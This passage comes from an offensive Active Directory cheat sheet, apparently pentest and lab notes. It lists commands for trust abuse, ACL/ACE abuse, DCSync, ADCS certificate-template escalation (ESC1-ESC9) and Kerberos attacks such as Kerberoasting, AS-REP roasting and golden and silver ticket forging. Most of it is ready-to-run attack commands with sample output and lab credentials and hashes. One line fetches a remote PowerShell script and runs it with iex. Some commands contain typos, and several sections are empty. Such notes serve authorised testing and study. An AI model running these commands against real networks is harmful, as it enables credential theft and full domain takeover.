| `lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 \| grep -B12 "Enterprise Admins"`                                                                                                                        | Impacket tool used to retrieve the `SID` of a target Windows domain and attach it to the Enterprise Admin group's `RID` from a Linux-based host. |
| `ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker`                | Impacket tool used to create a `Golden Ticket` from a Linux-based host.                                                                          |
| `export KRB5CCNAME=hacker.ccache`                                                                                                                                                                                               | Used to set the `KRB5CCNAME Environment Variable` from a Linux-based host.                                                                       |
| `psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5`                                                                                                          | Impacket tool used to establish a shell session with a target Domain Controller from a Linux-based host.                                         |
| `raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm`                                                                                                                                           | Impacket tool that automatically performs an attack that escalates from child to parent domain.                                                  |

## Trust Relationships - Cross-Forest

| Command                                                                                                        | Description                                                                                                                                    |
| -------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
| `Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL \| select SamAccountName`                                  | PowerView tool used to enumerate accounts for associated `SPNs` from a Windows-based host.                                                     |
| `Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc \| select samaccountname,memberof`           | PowerView tool used to enumerate the `mssqlsvc` account from a Windows-based host.                                                             |
| `.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap`                                | Uses `Rubeus` to perform a Kerberoasting Attack against a target Windows domain (`/domain:FREIGHTLOGISTICS.local`) from a Windows-based host.  |
| `Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL`                                                  | PowerView tool used to enumerate groups with users that do not belong to the domain from a Windows-based host.                                 |
| `Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator` | PowerShell cmd-let used to remotely connect to a target Windows system from a Windows-based host.                                              |
| `GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley`                       | Impacket tool used to request (`-request`) the TGS ticket of an account in a target Windows domain (`-target-domain`) from a Linux-based host. |
| `bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2`                   | Runs the Python implementation of `BloodHound` against a target Windows domain from a Linux-based host.                                        |
| `zip -r ilfreight_bh.zip *.json`                                                                               | Used to compress multiple files into 1 single `.zip` file to be uploaded into the BloodHound GUI.                                              |


# ACL/ACE Abuse

## ACL/ACE Abuse

### Generic All

This is also known as full control. This permission allows the trustee to manipulate the target object however they wish.

* <https://bloodhound.specterops.io/resources/edges/generic-all>

#### Generic All on User

**ForceChangePassword**

The GenericAll permission grants **\<user/attacker>** the ability to change the password of the user **target** without knowing their current password. This is equivalent to the "ForceChangePassword" edge in BloodHound.

```bash
bloodyAD --host 10.10.11.42 -d administrator.htb -u 'attacker' -p '12345678' set password "target" "12345678"
```

#### Generic All on Group

Full control of a group allows you to directly modify group membership of the group.

There are at least two ways to execute this attack.\
The first and most obvious is by using the built-in net.exe binary in Windows:

* `net group "Domain Admins" harmj0y /add /domain`\
  See the opsec considerations tab for why this may be a bad idea.\
  The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView.\
  This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember permission.\
  Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab).
* powerview

```powershell
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
```

* bloodyAD

```bash
bloodyAD --host "10.10.11.41" -d "DOMAIN.LOCAL" -u "user" -p "password" add groupMember 'CN=GROUP,CN=USERS,DC=DOMAIN,DC=LOCAL' "user"
```

### Generic Write

Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user.

```bash
targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'
```

The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash. The cleanup is done automatically as well.

The recovered hash can be cracked offline using the tool of your choice.

#### On User

With GenericWrite over a user, you can write to the “msds-KeyCredentialLink” attribute. Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using Kerberos PKINIT. See more information under the AddKeyCredentialLink edge.

Alternatively, you can write to the “servicePrincipalNames” attribute and perform a targeted kerberoasting attack. See the abuse section under the WriteSPN edge for more information.

* <https://bloodhound.specterops.io/resources/edges/generic-write>

### WriteOwner

Object owners retain the ability to modify object security descriptors, regardless of permissions on the object's DACL.

To change the ownership of the object, you may use Impacket's owneredit example script (cf. "grant ownership" reference for the exact link).

```bash
owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'`
```

To abuse ownership of a user object, you may grant yourself the GenericAll permission.

Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link).

```bash
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'`
```

Cleanup of the added ACL can be performed later on with the same tool:

```bash
dacledit.py -action 'remove' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 
'domain'/'controlledUser':'password'`
```

#### WriteOwner on Group

* Add member on that group

```bash
impacket-owneredit -action write -new-owner 'user' -target 'GROUP' 'DOMAIN.LOCAL'/'user':'password'


impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=GROUP,CN=USERS,DC=DOMAIN,DC=LOCAL' 'DOMAIN.LOCAL'/'user':'password'

bloodyAD --host "10.10.11.41" -d "DOMAIN.LOCAL" -u "user" -p "password" add groupMember 'CN=GROUP,CN=USERS,DC=DOMAIN,DC=LOCAL' "user"
```

#### Targeted Kerberoast

* <https://github.com/ShutdownRepo/targetedKerberoast>

```bash
targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'
```

#### Force Change Password

Use samba's net tool to change the user's password. The credentials can be supplied in cleartext or prompted interactively if omitted from the command line. The new password will be prompted if omitted from the command line.

```bash
net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"`
```

It can also be done with pass-the-hash using pth-toolkit's net tool. If the LM hash is not known, use 'ffffffffffffffffffffffffffffffff'.

```bash
pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"`
```

```bash
bloodyAD --host 10.10.11.42 -d domain.local -u 'attacker' -p '12345678' set password "target" "12345678"
```

#### Shadow Credentials (msDS-KeyCredentialLink)

```bash
certipy-ad shadow auto -u 'attacker' -p "WqSZAF6CysDQbGb3" -account 'target' -dc-ip '10.10.11.51' 
```

```bash
pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"
...
extract pfx pass
```

* get tgt (ccace)

```bash
python gettgtpkinit.py -cert-pfx oigNgAOY.pfx -pfx-pass F7ddKVbzqkaPtLgqVxFX certified.htb/management_svc management_svc.ccache
```

```bash
export KRB5CCNAME=/home/kali/hack-the-box/machines/lab/certified-medium/management_svc.ccache
```

* extract NTLHash

```bash
python3 ~/tools/PKINITtools/getnthash.py -key 58ca82a35da08a6cd8e33cf3a96172dff0d8d802417f7d43f9036c6c63ab362e certified.htb/management_svc          
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

```

```bash
 pywhisker -d "certified.htb" -u judith.mader -p 'judith09' --target 'management_svc' --action "add"  --export PEM        
```

* From pfx extract ccache e NTLM HASH

```bash
python3 ~/tools/PKINITtools/gettgtpkinit.py -cert-pem Whg71xLk_cert.pem -key-pem Whg71xLk_priv.pem certified.htb/management_svc management_svc.ccache

... Extract aes key ..
58ca82a35da08a6cd8e33cf3a96172dff0d8d802417f7d43f9036c6c63ab362e

```

* set `ccache`

```bash
export KRB5CCNAME=/home/kali/hack-the-box/machines/lab/certified-medium/management_svc.ccache
```

* extract NTLHash

```bash
python3 ~/tools/PKINITtools/getnthash.py -key 58ca82a35da08a6cd8e33cf3a96172dff0d8d802417f7d43f9036c6c63ab362e certified.htb/management_svc          
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
```

* <https://github.com/ShutdownRepo/pywhisker>

### DS-Replication-Get-Changes and DS-Replication-Get-Changes-All

* Can you perform DCSync

```bash
#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"'

#DCsync using secretsdump.py from impacket with NTLM authentication
secretsdump.py <Domain>/<Username>:<Password>@<DC\'S IP or FQDN> -just-dc-ntlm

# DCsync using secretsdump.py from impacket with Kerberos Authentication
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm
```

### WriteDacl

With write access to the target object’s DACL, you can grant yourself any privilege you want on the object.

With the ability to modify the DACL on the target object, you can grant yourself almost any privilege against the object you wish

#### Groups

With WriteDACL over a group, grant yourself the right to add members to the group:

```powershell
Add-DomainObjectAcl -TargetIdentity “Domain Admins” -Rights WriteMembers
```

See the abuse info for AddMembers edge for more information about execution the attack from there.

#### Users

With WriteDACL over a user, grant yourself full control of the user object:

```powershell
Add-DomainObjectAcl -TargetIdentity harmj0y -Rights All
```

See the abuse info for GenericAll over a user for more information about how to continue from there.

#### Computers

With WriteDACL over a computer object, grant yourself full control of the computer object:

```powershell
Add-DomainObjectAcl -TargetIdentity windows1 -Rights All
```

See the abuse info for GenericAll over a computer for more information about how to continue from there.

#### Domains

With WriteDACL against a domain object, grant yourself the ability to DCSync:

```powershell
Add-DomainObjectAcl -TargetIdentity testlab.local -Rights DCSync
```

Then perform the DCSync attack.

```bash
bloodyAD --host 10.10.10.161 -u user -p 'password' -d domain add dcsync 'user-target'
```

#### GPS

With WriteDACL over a GPO, grant yourself full control of the GPO:

Add-DomainObjectAcl -TargetIdentity TestGPO -Rights All

Then edit the GPO to take over an object the GPO applies to.

#### OUs

With WriteDACL over an OU, grant yourself full control of the OU:

Add-DomainObjectAcl -TargetIdentity (OU GUID) -Rights All

Then add a new ACE to the OU that inherits down to child objects to take over those child objects.

* <https://www.hackingarticles.in/abusing-ad-dacl-writedacl/>
* <https://bloodhound.specterops.io/resources/edges/write-dacl>

### Resources

* <https://github.com/mantvydasb/RedTeaming-Tactics-and-Techniques/blob/master/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces.md>
* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces>
* <https://m8sec.medium.com/active-directory-acl-abuse-with-kali-linux-7434a27dd938>
* <https://www.thehacker.recipes/ad/movement/dacl/>


# ADCS

Abusing Active Directory Certificate Services (ADCS)

## ADCS

### Info

#### Search CA

* Search if CA is used

```bash
┌──(kali㉿kali)-[~/…/machines/lab/certified-medium/certify]
└─$ netexec ldap domain_controlled -d domain.local  -u 'user' -p 'password' -M adcs

SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:domain.loca) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] domain.local\user:password 
ADCS        10.10.11.41     389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.11.41     389    DC01             Found PKI Enrollment Server: DC01.domain.local
ADCS        10.10.11.41     389    DC01             Found CN: certified-DC01-CA

```

* Search vulnerability

```bash
certify.exe find /vulnerable
```

```bash
certipy find -u 'user' -hashes '3b181b914e7a9d5508ea1e20bc2b7fce'  -dc-ip 10.10.11.51   
```

```bash
certipy find -u 'billy@foobar.com' -p <password> -dc-ip <DC_IP> -vulnerable -enabled
```

#### Extracting ccache

```bash
certipy auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 10.129.205.199
```

#### Extracting nthash

```bash
certipy auth -pfx administrator.pfx -domain domain.local
```

#### Convert Certificate obtained from Windows

```bash
PS C:\Tools> & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" - export -out cert.pfx
```

#### Authenticate in windows

```powershell
PS C:\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
```

#### Certificate Authentication and extract NTLM

```powershell
PS C:\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
```

#### Create a Sacrificial Logon Session with Rubeus

```powershell
PS C:\Tools> .\Rubeus.exe createnetonly /program:powershell.exe /show
```

#### Import Base64 Ticketin into the Powershell session using Rubeus

```powershell
PS C:\Tools> .\Rubeus.exe ptt /ticket:doIGQjCCBj6gAwIBBaEDAgEW<SNIP>
```

### ESC1 - template-allows-san

&#x20;[ESC1](https://github.com/ly4k/Certipy?tab=readme-ov-file#esc1) is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN). Request a certificate based on the vulnerable certificate template and specify an arbitrary UPN.

```ad-tldr
The primary misconfiguration behind this domain escalation scenario lies in the possibility of specifying an alternate user in the certificate request. This means that if a certificate template allows including a subjectAltName ( SAN ) different from the user making the certificate request (CSR), it would allow us to request a certificate as any user in the domain
 
```

* find

```bash
certipy find -u 'billy@foobar.com' -p <password> -dc-ip <DC_IP> -vulnerable -stdout
```

* abuse

```bash
certipy-ad req -u user -target target.local -upn administrator@target.local -ca hostname_ca -template vulnerable_template -hashes NTLM_HASH -key-size 4096  -dns 10.10.11.51 -dc-ip 10.10.11.51

certipy req -u '[email protected]' -p 'Password123!' -dc-ip 10.129.205.199 -ca lab-LAB-DC-CA -template ESC1 -upn Administrator
```

* From Windows

```powershell
.\Certify.exe request /ca:caName /template:vulnerableTemplateName /altname:[target]
```

### ESC2 - variation of ESC1

ESC2 ( Escalation 2 ) is a variation of ESC1.\
When a certificate template specifies the `Any Purpose Extended Key Usage (EKU)` or does not identify any `Extended Key Usage`, the certificate can be used for any purpose (client authentication, server authentication, code signing, etc.)

```bash
certipy req -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA - template ESC2 -upn Administrator
```

```ad-info
Note: It is possible to omit the -dc-ip "IP DC" command if the attacking computer can resolve the domain name
```

```powershell
PS C:\Tools> Set-ExecutionPolicy Bypass -Scope CurrentUser -Force 
PS C:\Tools> cd .\Invoke-TheHash\;Import-Module .\Invoke-TheHash.psm1

PS C:\Tools> Invoke-TheHash -Type SMBExec -Target localhost -Username Administrator -Hash 2b576acbe6bcfda7294d6bd18041b8fe -Command "net localgroup Administrators grace /add"
```

### ESC3 - Misconfigured Enrollment Agent Templates

Involves exploiting a different `Extended Key Usage (EKU)` and necessitates an additional step to carry out the abuse.

```ad-note
The term Extended Key Usage is sometimes used as Enhanced Key Usage by Microsoft documentation, but section 4.2.1.12 of RFC 5280 defines the correct name as Extended Key Usage 
```

```bash
certipy req -u '[email protected]' -p 'Password123!' -ca 'lab-LAB-DC-CA' - template 'ESC3'

certipy req -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA - template 'User' -on-behalf-of 'lab\administrator' -pfx blwasp.pfx
```

### ESC4 - certificate-templates

[ESC4](https://github.com/ly4k/Certipy?tab=readme-ov-file#esc4) is when a user has write privileges over a certificate template.\
This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to **ESC1**. We need to know the DNS name and the Template Name

```bash
certipy template -username user@target.local  -hashes NTLM_HASH  -template Vulnerable_template  -save-old 
```

### ESC5

### ESC6

### ESC7

### ESC8

### ESC9 - no-security-extension

To understand this privilege escalation, it is recommended to know how certificate mapping is performed. It is presented in [this section](https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#certificate-mapping).

If the certificate attribute `msPKI-Enrollment-Flag` contains the flag `CT_FLAG_NO_SECURITY_EXTENSION`, the `szOID_NTDS_CA_SECURITY_EXT` extension will not be embedded, meaning that even with `StrongCertificateBindingEnforcement` set to `1`, the mapping will be performed similarly as a value of `0` in the registry key.

Here are the requirements to perform ESC9:

* `StrongCertificateBindingEnforcement` not set to `2` (default: `1`) or `CertificateMappingMethods` contains `UPN` flag (`0x4`)
* The template contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
* The template specifies client authentication
* `GenericWrite` right against any account A/1 to compromise any account B/2
* Update upn user2

```bash
certipy account update -username "user1@domain.local" -hashes "a091c1832bcdd4677c28b5a6a1295584" -user "user2" -upn Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'user2':
    userPrincipalName                   : Administrator
[*] Successfully updated 'user2'
                               
```

* Get `pfx`

```bash
certipy req -username "user2" -p "12345678" -target "10.10.11.41" -ca 'CA_NAME' -template 'TemplateName'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 7
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```

* Extracting NTHASH

```bash
certipy auth -pfx administrator.pfx -domain domain.local
```

### ESC10

### ESC11

### ESC12

### ESC13

### ESC14

### ESC15

### Risorse

* <https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-1-799f3d3b03cf>
* <https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547>
* <https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac>
* <https://www.thehacker.recipes/ad/movement/adcs/>
* <https://posts.specterops.io/certified-pre-owned-d95910965cd2>
* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin>
* <https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/>


# Kerberos Attack Cheatsheet

## Kerberos Attack Cheatsheet

### Bruteforcing

With [kerbrute.py](https://github.com/TarlogicSecurity/kerbrute):

```shell
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
```

With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:

```shell
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```

### ASREPRoast

With [Impacket](https://github.com/SecureAuthCorp/impacket) example GetNPUsers.py:

```shell
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
```

With [Rubeus](https://github.com/GhostPack/Rubeus):

```shell
# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast  /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
```

Cracking with dictionary of passwords:

```shell
hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>

john --wordlist=<passwords_file> <AS_REP_responses_file>
```

### Kerberoasting

With [Impacket](https://github.com/SecureAuthCorp/impacket) example GetUserSPNs.py:

```shell
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
```

With [Rubeus](https://github.com/GhostPack/Rubeus):

```shell
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>
```

With **Powershell**:

```
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
```

Cracking with dictionary of passwords:

```shell
hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>
```

### Overpass The Hash/Pass The Key (PTK)

By using [Impacket](https://github.com/SecureAuthCorp/impacket) examples:

```shell
# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked

# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

With [Rubeus](https://github.com/GhostPack/Rubeus) and [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec):

```shell
# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt

# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

### Pass The Ticket (PTT)

#### Harvest tickets from Linux

Check type and location of tickets:

```shell
grep default_ccache_name /etc/krb5.conf
```

If none return, default is FILE:/tmp/krb5cc\_%{uid}.

In case of file tickets, you can copy-paste (if you have permissions) for use them.

In case of being *KEYRING* tickets, you can use [tickey](https://github.com/TarlogicSecurity/tickey) to get them:

```shell
# To dump current user tickets, if root, try to dump them all by injecting in other user processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i
```

#### Harvest tickets from Windows

With [Mimikatz](https://github.com/gentilkiwi/mimikatz):

```shell
mimikatz # sekurlsa::tickets /export
```

With [Rubeus](https://github.com/GhostPack/Rubeus) in Powershell:

```shell
.\Rubeus dump

# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))
```

To convert tickets between Linux/Windows format with [ticket\_converter.py](https://github.com/Zer1t0/ticket_converter):

```
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi
```

#### Using ticket in Linux

With [Impacket](https://github.com/SecureAuthCorp/impacket) examples:

```shell
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

#### Using ticket in Windows

Inject ticket with [Mimikatz](https://github.com/gentilkiwi/mimikatz):

```shell
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

Inject ticket with [Rubeus](https://github.com/GhostPack/Rubeus):

```shell
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

Execute a cmd in the remote machine with [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec):

```shell
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

### Silver ticket

With [Impacket](https://github.com/SecureAuthCorp/impacket) examples:

```shell
# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

With [Mimikatz](https://github.com/gentilkiwi/mimikatz):

```shell
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

Inject ticket with [Rubeus](https://github.com/GhostPack/Rubeus):

```shell
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

Execute a cmd in the remote machine with [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec):

```shell
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

### Golden ticket

With [Impacket](https://github.com/SecureAuthCorp/impacket) examples:

```shell
# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

With [Mimikatz](https://github.com/gentilkiwi/mimikatz):

```shell
# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

Inject ticket with [Rubeus](https://github.com/GhostPack/Rubeus):

```shell
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

Execute a cmd in the remote machine with [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec):

```shell
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

### Misc

To get NTLM from password:

```python
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'
```

| `Command`                                                                                                                                                                         | `Description`                                                         |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
| `Invoke-Kerberoast`                                                                                                                                                               | Get Kerberoastable accounts & hashes on Windows                       |
| `GetUserSPNs.py inlanefreight.local/pixis`                                                                                                                                        | Get Kerberoastable accounts & hashes on Linux                         |
| `Get-DomainUser -UACFilter DONT_REQ_PREAUTH`                                                                                                                                      | Get AS-Rep roastable accounts & hashes on Windows                     |
| `GetNPUsers.py inlanefreight.local/pixis`                                                                                                                                         | Get AS-Rep roastable accounts & hashes on Linux                       |
| `Rubeus.exe monitor /interval:5`                                                                                                                                                  | Monitor TGT copies in TGS every 5 secondes (Unconstrained Delegation) |
| `Rubeus.exe asktgs /ticket:<b64 ticket> /service:<SPN> /ptt`                                                                                                                      | Get a TGS using a TGT                                                 |
| `Rubeus.exe renew /ticket:<b64 ticket> /ptt`                                                                                                                                      | Renew a TGT and pass it in memory                                     |
| `Get-DomainComputer -TrustedToAuth`                                                                                                                                               | Get service accounts with constrained delegation on Windows           |
| `Rubeus.exe s4u /impersonateuser:<User> /msdsspn<SPN> /altservice:<SRV> /user:<USR> /rc4:<NT Hash> /ptt`                                                                          | Perform a S4U2\* attack on Windows                                    |
| `findDelegation.py inlanefreight.local/pixis`                                                                                                                                     | Get service accounts with delegation on Linux                         |
| `getST.py -spn <SPN> -hashes :<NT Hash> 'domain/user' -impersonate <user>`                                                                                                        | Perform a S4U2\* attack on Linux                                      |
| `mimikatz # kerberos::golden /domain:<domain> /user:<user> /sid:<Domain SID> /rc4:<krbtgt NT hash> /ptt`                                                                          | Forge a golden ticket on Windows                                      |
| `ticketer.py -nthash <krbtgt NT hash> -domain-sid :<Domain SID> -domain <domain> <user>`                                                                                          | Forge a golden ticket on Linux                                        |
| `mimikatz # kerberos::golden /domain:inlanefreight.local /user:<user> /sid:<Domain SID> /rc4: <Service account NT hash> /target:<target service account> /service:<service> /ptt` | Forge a silver ticket on Windows                                      |
| `ticketer.py -nthash <Service account NT hash> -domain-sid <Domain SID> -domain <domain> -spn <SPN> <User>`                                                                       | Forge a silver ticket on Linux                                        |
